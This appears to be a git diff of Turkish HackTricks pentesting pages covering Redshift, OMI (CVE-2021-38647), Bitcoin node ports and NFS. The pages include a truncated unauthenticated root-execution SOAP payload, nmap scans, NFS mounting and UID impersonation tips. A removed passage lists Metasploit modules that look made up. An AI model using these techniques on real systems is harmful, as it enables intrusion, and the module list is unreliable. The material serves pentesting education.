Bu bağlantı noktası, **Redshift** tarafından çalıştırılmak için kullanılır. Temel olarak, bu bir AWS varyasyonudur ve **PostgreSQL**'e dayanır.
Bu port, **Redshift** tarafından çalıştırılmak için kullanılır. Temelde **PostgreSQL**'in bir AWS varyasyonudur.
Daha fazla bilgi için kontrol edin:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman seviyesine kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,37 +1,40 @@
# 5985,5986 - OMI Pentesting
# 5985,5986 - Pentesting OMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Temel Bilgiler**
**OMI**, Microsoft tarafından sunulan bir **[ık kaynak](https://github.com/microsoft/omi)** aracıdır ve uzaktan yapılandırma yönetimi için tasarlanmıştır. Özellikle Azure'da Linux sunucular için önemlidir ve şu hizmetleri kullanır:
**OMI**, Microsoft tarafından uzaktan yapılandırma yönetimi için tasarlanmış bir **[ık kaynak](https://github.com/microsoft/omi)** araç olarak sunulmaktadır. Özellikle aşağıdaki hizmetleri kullanan Azure'daki Linux sunucuları için önemlidir:
- **Azure Automation**
- **Azure Otomatik Güncelleme**
- **Azure Operasyon Yönetimi Suite'i**
- **Azure Günlük Analitiği**
- **Azure Yapılandırma Yönetimi**
- **Azure Teşhisleri**
- **Azure Automatic Update**
- **Azure Operations Management Suite**
- **Azure Log Analytics**
- **Azure Configuration Management**
- **Azure Diagnostics**
Bu hizmetler etkinleştirildiğinde, `omiengine` işlemi başlatılır ve tüm arayüzlerde root olarak dinler.
Bu hizmetler etkinleştirildiğinde, `omiengine` süreci başlatılır ve root olarak tüm arayüzlerde dinler.
Kullanılan **varsayılan portlar** **5985** (http) ve **5986** (https)'dır.
**Kullanılan varsayılan portlar** **5985** (http) ve **5986** (https)'dır.
### **[CVE-2021-38647 Zafiyeti](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
### **[CVE-2021-38647 ığı](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
16 Eylül'de gözlemlendiği gibi, Azure'da bu hizmetleri kullanan Linux sunucuları, zafiyete sahip bir OMI sürümü nedeniyle savunmasızdır. Bu zafiyet, OMI sunucusunun `/wsman` uç noktası üzerinden kimlik doğrulama başlığı gerektirmeden mesajları işlemesinde yatmaktadır ve istemciyi yanlış bir şekilde yetkilendirir.
16 Eylül'de gözlemlendiği üzere, belirtilen hizmetlerle Azure'da dağıtılan Linux sunucuları, OMI'nin savunmasız bir versiyonu nedeniyle hassastır. Bu açık, OMI sunucusunun `/wsman` uç noktasındaki mesajları Authentication başlığı gerektirmeden işleme şeklidir ve istemcinin yanlış yetkilendirilmesine neden olur.
Bir saldırgan, kimlik doğrulama başlığı olmadan "ExecuteShellCommand" SOAP yükünü göndererek sunucunun root ayrıcalıklarıyla komutları çalıştırmasını sağlayabilir.
Bir saldırgan, Authentication başlığı olmadan "ExecuteShellCommand" SOAP yükü göndererek bunu istismar edebilir ve sunucunun root ayrıcalıklarıyla komutları yürütmesini zorlayabilir.
```xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
@ -43,21 +46,24 @@ Bir saldırgan, kimlik doğrulama başlığı olmadan "ExecuteShellCommand" SOAP
</s:Body>
</s:Envelope>
```
Bu CVE hakkında daha fazla bilgi için **[buraya](https://github.com/horizon3ai/CVE-2021-38647)** bakın.
Daha fazla bilgi için bu CVE'yi **[kontrol edin](https://github.com/horizon3ai/CVE-2021-38647)**.
## Referanslar
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamınızı görmek** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# 8333,18333,38333,18444 - Bitcoin Pentesting
# 8333,18333,38333,18444 - Pentesting Bitcoin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
* **Port 8333**, Bitcoin düğümlerinin **mainnet** üzerinde birbirleriyle iletişim kurmak için kullandığı bir porttur.
* **Port 18333**, Bitcoin düğümlerinin **testnet** üzerinde birbirleriyle iletişim kurmak için kullandığı bir porttur.
* **Port 38333**, Bitcoin düğümlerinin **signet** üzerinde birbirleriyle iletişim kurmak için kullandığı bir porttur.
* **Port 18444**, Bitcoin düğümlerinin **regtest** (yerel) üzerinde birbirleriyle iletişim kurmak için kullandığı bir porttur.
* **port 8333**, Bitcoin düğümleri arasında iletişim kurmak için **mainnet**'te kullanılır.
* **port 18333**, Bitcoin düğümleri arasında iletişim kurmak için **testnet**'te kullanılır.
* **port 38333**, Bitcoin düğümleri arasında iletişim kurmak için **signet**'te kullanılır.
* **port 18444**, Bitcoin düğümleri arasında iletişim kurmak için **regtest** (yerel) 'te kullanılır.
**Varsayılan port:** 8333, 18333, 38333, 18444
```
@ -29,9 +32,9 @@ PORT STATE SERVICE
* `port:8333 bitcoin`
* `User-Agent: /Satoshi`
## Numaralandırma
## Enumeration
Bitcoin düğümleri, sizin başka bir geçerli bitcoin düğümü olduğunuzu düşünüyorsa size bazı bilgiler verecektir. **Nmap**, bu bilgileri çıkarmak için bazı komut dosyalarına sahiptir:
Bitcoin düğümleri, başka bir geçerli bitcoin düğümü olduğunuzu düşünürlerse size bazı bilgiler verecektir. **Nmap** bu bilgileri çıkarmak için bazı scriptlere sahiptir:
```
sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39
PORT STATE SERVICE
@ -54,14 +57,17 @@ PORT STATE SERVICE
| 75.128.4.27:8333 2022-04-02T08:10:45
[...]
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,71 +1,66 @@
# 2049 - NFS Hizmeti Pentesting
# 2049 - NFS Servisini Pentest Etme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## **Temel Bilgiler**
**NFS**, kullanıcıların ağ üzerinden dosyalara yerel bir dizin içindeymiş gibi sorunsuz erişim sağlamasını sağlayan bir **istemci/sunucu** sistemi olarak tasarlanmıştır.
**NFS**, kullanıcıların dosyalara bir ağ üzerinden, bu dosyaların yerel bir dizinde bulunuyormuş gibi sorunsuz bir şekilde erişmelerini sağlayan **istemci/sunucu** için tasarlanmış bir sistemdir.
Bu protokolün dikkate değer bir yönü, yerleşik bir **kimlik doğrulama** veya **yetkilendirme mekanizması** olmamasıdır. Bunun yerine, yetkilendirme, **dosya sistemi bilgilerine** dayanır ve sunucu, **istemci tarafından sağlanan kullanıcı bilgilerini** dosya sisteminin gerektirdiği **yetkilendirme formatına** doğru bir şekilde çevirmekle görevlidir, temel olarak **UNIX sözdizimini** takip eder.
Bu protokolün dikkat çekici bir yönü, yerleşik **kimlik doğrulama** veya **yetkilendirme mekanizmalarının** olmamasıdır. Bunun yerine, yetkilendirme **dosya sistemi bilgilerine** dayanır ve sunucu, **istemci tarafından sağlanan kullanıcı bilgilerini** dosya sisteminin gerektirdiği **yetkilendirme formatına** doğru bir şekilde çevirmekle görevlidir; bu genellikle **UNIX sözdizimini** takip eder.
Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyelikleri**ne dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşlemelerindeki** potansiyel uyumsuzluk nedeniyle bir zorluk ortaya çıkar ve sunucu tarafından ek doğrulama yapılamaz. Sonuç olarak, bu protokol, bu kimlik doğrulama yöntemine dayandığı için **güvenilen ağlar** içinde kullanmak için en uygun olanıdır.
Kimlik doğrulama genellikle **UNIX `UID`/`GID` tanımlayıcıları ve grup üyeliklerine** dayanır. Ancak, istemciler ve sunucular arasındaki **`UID`/`GID` eşleştirmelerindeki** olası uyumsuzluk nedeniyle bir zorluk ortaya çıkar; bu durum sunucu tarafından ek bir doğrulama yapılmasına olanak tanımaz. Sonuç olarak, bu protokol, bu kimlik doğrulama yöntemine dayanması nedeniyle en iyi şekilde **güvenilir ağlar** içinde kullanılmak için uygundur.
**Varsayılan port**: 2049/TCP/UDP (sadece 4. sürüm için TCP veya UDP gereklidir).&#x20;
**Varsayılan port**: 2049/TCP/UDP (sadece versiyon 4 için, TCP veya UDP yeterlidir).&#x20;
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Sürümler
### Versiyonlar
- **NFSv2**: Bu sürüm, çeşitli sistemlerle geniş uyumluluğuyla tanınır ve başlangıç işlemlerini çoğunlukla UDP üzerinden gerçekleştirerek önemini belirtir. Serinin en **eski** sürümü olan NFSv2, gelecekteki gelişmeler için temel oluşturdu.
- **NFSv2**: Bu versiyon, çeşitli sistemlerle geniş uyumluluğu ile tanınır ve ilk işlemlerinin çoğunlukla UDP üzerinden gerçekleşmesi ile önemini vurgular. Serinin **en eski** versiyonu olarak, gelecekteki gelişmeler için bir temel oluşturmuştur.
- **NFSv3**: Bir dizi geliştirme ile tanıtılan NFSv3, önceki sürümünü destekleyen değişken dosya boyutlarını destekleyerek ve gelişmiş hata raporlama mekanizmaları sunarak önceki sürümünü genişletti. Gelişmelerine rağmen, NFSv2 istemcileriyle tam geriye dönük uyumlulukta sınırlamalarla karşılaştı.
- **NFSv3**: Bir dizi iyileştirme ile tanıtılan NFSv3, değişken dosya boyutlarını destekleyerek ve geliştirilmiş hata raporlama mekanizmaları sunarak selefinin üzerine çıkmıştır. Gelişmelerine rağmen, NFSv2 istemcileri ile tam geriye dönük uyumlulukta sınırlamalarla karşılaşmıştır.
- **NFSv4**: NFS serisinin dönüm noktası olan NFSv4, ağlar arasında dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik getirdi. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos'un entegrasyonu, port eşlemcilerine ihtiyaç duymadan güvenlik duvarlarını aşabilme ve İnternet üzerinden çalışabilme yeteneği, Erişim Kontrol Listeleri (ACL'ler) için destek ve durum tabanlı işlemlerin tanıtılması bulunur. Performans iyileştirmeleri ve durum tabanlı bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırt eder.
- **NFSv4**: NFS serisinde bir dönüm noktası olan NFSv4, ağlar üzerinden dosya paylaşımını modernize etmek için tasarlanmış bir dizi özellik getirmiştir. Dikkate değer iyileştirmeler arasında **yüksek güvenlik** için Kerberos entegrasyonu, güvenlik duvarlarını aşabilme ve port haritalayıcılarına ihtiyaç duymadan İnternet üzerinden çalışabilme yeteneği, Erişim Kontrol Listeleri (ACL'ler) desteği ve durum tabanlı işlemlerin tanıtımı bulunmaktadır. Performans iyileştirmeleri ve durum bilgisi olan bir protokolün benimsenmesi, NFSv4'ü ağ dosya paylaşım teknolojilerinde önemli bir ilerleme olarak ayırmaktadır.
Her NFS sürümü, ağ ortamlarının gelişen ihtiyaçlarını ele almak, güvenliği, uyumluluğu ve performansı aşamalı olarak artırmak amacıyla geliştirilmiştir.
NFS'nin her versiyonu, ağ ortamlarının gelişen ihtiyaçlarını karşılamak amacıyla geliştirilmiş, güvenlik, uyumluluk ve performansı kademeli olarak artırmıştır.
## Numaralandırma
## Sayım
### Kullanışlı nmap komut dosyaları
### Kullanışlı nmap betikleri
```bash
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
nfs-statfs #Disk statistics and info from NFS share
```
### Kullanışlı metasploit modülleri
Metasploit, birçok farklı ağ hizmetini hedef almak için kullanılan güçlü bir araçtır. Aşağıda, NFS hizmeti için kullanışlı olan bazı Metasploit modüllerini bulabilirsiniz:
- `auxiliary/scanner/nfs/nfsmount`: Bu modül, NFS sunucularını taramak ve paylaşımları listelemek için kullanılır.
- `auxiliary/scanner/nfs/nfsenum`: Bu modül, NFS sunucularında dosya ve dizinleri keşfetmek için kullanılır.
- `exploit/linux/nfs/nfsd`: Bu modül, NFS sunucularında güvenlik açıklarını sömürmek için kullanılır.
- `exploit/solaris/nfs/nfsd`: Bu modül, Solaris işletim sistemli NFS sunucularında güvenlik açıklarını sömürmek için kullanılır.
- `exploit/windows/nfs/nfsd`: Bu modül, Windows işletim sistemli NFS sunucularında güvenlik açıklarını sömürmek için kullanılır.
Bu modüller, NFS hizmetini hedef almak ve güvenlik açıklarını tespit etmek veya sömürmek için kullanılabilir. Metasploit'in sunduğu diğer modüllerle birlikte, kapsamlı bir NFS pentesting deneyimi sağlarlar.
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Bağlama
### Mounting
Hangi klasörün sunucunun bağlamaya uygun olduğunu bilmek için aşağıdaki komutu kullanabilirsiniz:
Hangi **klasörün** sunucu tarafından **mevcut** olduğunu öğrenmek için ona şu şekilde sorabilirsiniz:
```bash
showmount -e <IP>
```
Ardından şunu kullanarak bağlayın:
Sonra bunu kullanarak bağlayın:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
**Sürüm 2'yi kullanmayı belirtmelisiniz** çünkü **herhangi bir** **kimlik doğrulama** veya **yetkilendirme** içermez.
**Örnek:**
```bash
mkdir /mnt/new_back
@ -73,36 +68,36 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## İzinler
Eğer **UID** tarafından sadece bazı kullanıcıların erişebildiği **dosya veya klasörleri içeren bir klasörü** bağlarsanız. Bu **UID**'ye sahip bir **kullanıcıyı yerel olarak oluşturabilir** ve bu **kullanıcıyı kullanarak** dosya/klasöre erişebilirsiniz.
Eğer yalnızca bazı kullanıcılar tarafından erişilebilen **dosyalar veya klasörler** içeren bir klasörü bağlarsanız (**UID** ile). O **UID** ile **yerel** olarak bir kullanıcı **oluşturabilir** ve bu **kullanıcı** ile dosya/klasöre **erişebilirsiniz**.
## NSFShell
Dosyalara erişmek için UID ve GID'yi kolayca listelemek, bağlamak ve değiştirmek için [nfsshell](https://github.com/NetDirect/nfsshell) kullanabilirsiniz.
Dosyaları erişmek için UID ve GID'yi kolayca listelemek, bağlamak ve değiştirmek için [nfsshell](https://github.com/NetDirect/nfsshell) kullanabilirsiniz.
[Güzel bir NFSShell öğretici.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
[Güzel NFSShell eğitimi.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
## Yapılandırma dosyaları
```
/etc/exports
/etc/lib/nfs/etab
```
### Tehlikeli Ayarlar
### Tehlikeli ayarlar
- **Okuma ve Yazma İzinleri (`rw`):** Bu ayar, dosya sisteminden hem okuma hem de yazma işlemlerine izin verir. Bu geniş erişimin sonuçlarını düşünmek önemlidir.
- **Okuma ve Yazma İzinleri (`rw`):** Bu ayar, dosya sisteminden hem okuma hem de yazma işlemlerine izin verir. Bu kadar geniş bir erişim izni vermenin sonuçlarını dikkate almak önemlidir.
- **Güvensiz Portların Kullanımı (`insecure`):** Bu etkinleştirildiğinde, sistem 1024'den büyük portları kullanabilir. Bu aralıktaki portların güvenliği daha az sıkı olabilir ve riski artırabilir.
- **Güvensiz Portların Kullanımı (`insecure`):** Bu etkinleştirildiğinde, sistemin 1024'ün üzerindeki portları kullanmasına izin verir. Bu aralıktaki portların güvenliği daha az katı olabilir ve riski artırabilir.
- **Gömülü Dosya Sistemlerinin Görünürlüğü (`nohide`):** Bu yapılandırma, başka bir dosya sistemi bir ihracat edilen dizinin altına bağlandığında bile dizinleri görünür hale getirir. Her dizin, uygun yönetim için kendi ihracat girişine ihtiyaç duyar.
- **İç İçe Dosya Sistemlerinin Görünürlüğü (`nohide`):** Bu yapılandırma, başka bir dosya sistemi bir dışa aktarılmış dizinin altında monte edilse bile dizinlerin görünür olmasını sağlar. Her dizin, uygun yönetim için kendi dışa aktarma girişine ihtiyaç duyar.
- **Kök Dosyalarının Sahipliği (`no_root_squash`):** Bu ayarla, kök kullanıcısı tarafından oluşturulan dosyalar, en az ayrıcalık ilkesini göz ardı ederek orijinal UID/GID değerlerini korur ve aşırı izinler sağlayabilir.
